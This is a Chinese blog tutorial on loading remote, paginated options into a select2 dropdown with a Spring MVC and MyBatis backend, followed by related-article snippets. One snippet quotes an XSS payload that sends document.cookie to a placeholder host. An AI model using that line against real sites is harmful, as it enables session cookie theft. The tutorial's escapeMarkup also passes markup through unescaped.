select2加载远程数据示例
核心js
$("#query_pack_code").select2({
			language: "zh-CN",
			allowClear: true,
			width: "150px",
			placeholder: "请选择",
			ajax: {
				url: "monitor/historyQuery/getPackCodeOptions.mvc",
				dataType: 'json',
				delay: 250,
				data: function (params) {
					params.offset = 10;  //显示十条
					params.page = params.page || 1; //页码
					return {
						name: params.term,
						page: params.page,
						offset: params.offset
					};
				},
				cache: false,
                /*
				*@params res 返回值
				*@params params 参数
				*/
				processResults: function (res, params) {
						var users = res.data;
						var options = [];
						for (var i = 0, len = users.length; i < len; i++) {
							var option = {
								"id": users[i]["serialNo"],
								"text": (users[i]["serialNo"])
							};
							options.push(option);
						}
						return {
							results: options,
							pagination: {
								more: (params.page * params.offset) < res.total
							}
						};
				},
				escapeMarkup: function (markup) {
					return markup;
				},
				minimumInputLength: 1
			}
		});
后台使用的springmvc+mybatis 分页使用的插件com.github.miemiedev.mybatis.paginator.domain.PageBounds;
 /**
 *
 * <p>Description: 下拉框异步加载</p>
 * @param res 请求
 * @return 结果集
 */
@RequestMapping(value="/getPackCodeOptions.mvc")
@ResponseBody
public Object getPackCodeOptions(HttpServletRequest res){
	//分页
	PageBounds pageBounds;
    pageBounds = new PageBounds();
    //查询条件
	String name = res.getParameter("name");
	//每页显示条数
    Integer offset = Integer.valueOf(res.getParameter("offset"));
    //当前页码
    Integer page = Integer.valueOf(res.getParameter("page"));
    if (page == 1) {
        page = 0;
    } else {
        page = (page - 1) * offset;
    }
    pageBounds.setLimit(offset);
    pageBounds.setPage(page);
    Map<String, Object> params;
    params = new HashMap<String, Object>();
    params.put("name", name);
    EntityPageBean<TmPackSerial> pageBean;
    Map<String, Object> dataMap=new HashMap<String, Object>();
	try {
		pageBean = this.tmPackSerialService.getPackCodeOptions(params, pageBounds);
		dataMap.put("total", pageBean.getiTotalRecords());
        dataMap.put("recordsFiltered", pageBean.getiTotalRecords());
        dataMap.put("data", pageBean.getResults());
	} catch (DaoException e) {
		logger.error("查询出错:", e);
		return null;
	}
    return dataMap;
}
效果图:

参考资料: select2主页
select2加载远程数据示例的更多相关文章
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
		
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
 - Jquery.ajax 详细解释 通过Http请求加载远程数据
		
首先请看一个Jquery.ajax的例子 $.ajax({ type: "GET", url: "/api/SearchApi/GetResults", dat ...
 - 通过 HTTP 请求加载远程数据(ajax,axios)
		
1.http://blog.csdn.net/liaoxiaojuan233/article/details/54176798 (Axios(JS HTTP库/Ajax库)) 2.https://ww ...
 - ExtJS ComboBox同时加载远程和本地数据
		
ExtJS ComboBox同时加载远程和本地数据 原文:http://gblog.hbcf.net/index.php/archives/233 ComboBox比较特殊需求,将远程数据和本地数据同 ...
 - Tree:加载列表数据
		
Tree控件,需要提供一个树形的JSON数据,才能正常显示. 通常,开发者在后台可以这样做: 1)从数据库查询出一个列表数据 2)在后台,将列表数据转换为树形数据 3)通过JSON方式返回 在前台页面 ...
 - xss如何加载远程js的一些tips
		
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
 - Swift - 网页控件(UIWebView)加载本地数据,文件
		
使用UIWebView加载本地数据或资源有如下三种方式: 1,使用loadHTMLString方法加载HTML内容 2,使用loadRequest方法加载本地资源(也可用于加载服务器资源) 3,先将内 ...
 - Mego开发文档 - 加载关系数据
		
加载关系数据 Mego允许您使用模型中的导航属性来加载相关数据对象.目前只支持强制加载数据对象.只有正确配置了关系才能加载关系数据,相关内容可参考关系配置文档. 加载对象属性 您可以使用该Includ ...
 - WinForm ListView不分页加载大量数据
		
WinForm的ListView在加载大量数据时会出现闪烁的问题,同时数据加载很慢.如果你的列表中有超过千条的数据且不做特殊处理还是用普通的ListView.Items.Add(),估计你的用户得抱怨 ...
 
随机推荐
- Eclipse调用hadoop2运行MR程序(转)
			
hadoop:hadoop2.2 ,windows myeclipse环境: Eclipse调用hadoop运行MR程序其实就是普通的java程序可以提交MR任务到集群执行而已.在Hadoop1中,只 ...
 - Spring Boot的Servlet简单使用
			
当使用spring-Boot时,嵌入式Servlet容器通过扫描注解的方式注册Servlet.Filter和Servlet规范的所有监听器(如HttpSessionListener监听器). Spri ...
 - GODADDY 优质DNS 未被墙
			
下面列出的是我本地测试出的优质服务器 NS10.DOMAINCONTROL.COM NS12.DOMAINCONTROL.COM NS14.DOMAINCONTROL.COM NS19.DOMAINC ...
 - 【C#】override,Abstract,Virtual 介绍及区别--转载
			
要扩展或修改继承的方法.属性.索引器或事件的抽象实现或虚实现,必须使用 override 修饰符. 1. override 方法提供从基类继承的成员的新实现.通过 override 声明重写的方法称为 ...
 - Struts 2初体验
			
Struts2简介: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数 ...
 - elasticsearch(一):JAVA api操作
			
1.创建一个mavan项目,项目的以来配置如下. <?xml version="1.0" encoding="UTF-8"?> <projec ...
 - tomcat shutdown.sh结束不了,Could not contact localhost:8005
			
使用./shutdown.sh关闭Tomcat,有时会关闭成功,有时会出现关闭错误; Jul 06, 2017 10:57:37 AM org.apache.catalina.startup.Cata ...
 - [转]How can I list all foreign keys referencing a given table in SQL Server?
			
本文转自:https://stackoverflow.com/questions/483193/how-can-i-list-all-foreign-keys-referencing-a-given- ...
 - How to update Ionic cli and libraries
			
1)npm outdated 2)手动修改你项目的package.json文件,找对应的版本号 3)npm update 重新安装包就可以了. 转自:http://devfanaticblog.com ...
 - ASP.NET Url 重写
			
protected void Application_BeginRequest(object sender, EventArgs e) { string url = Request.AppRelati ...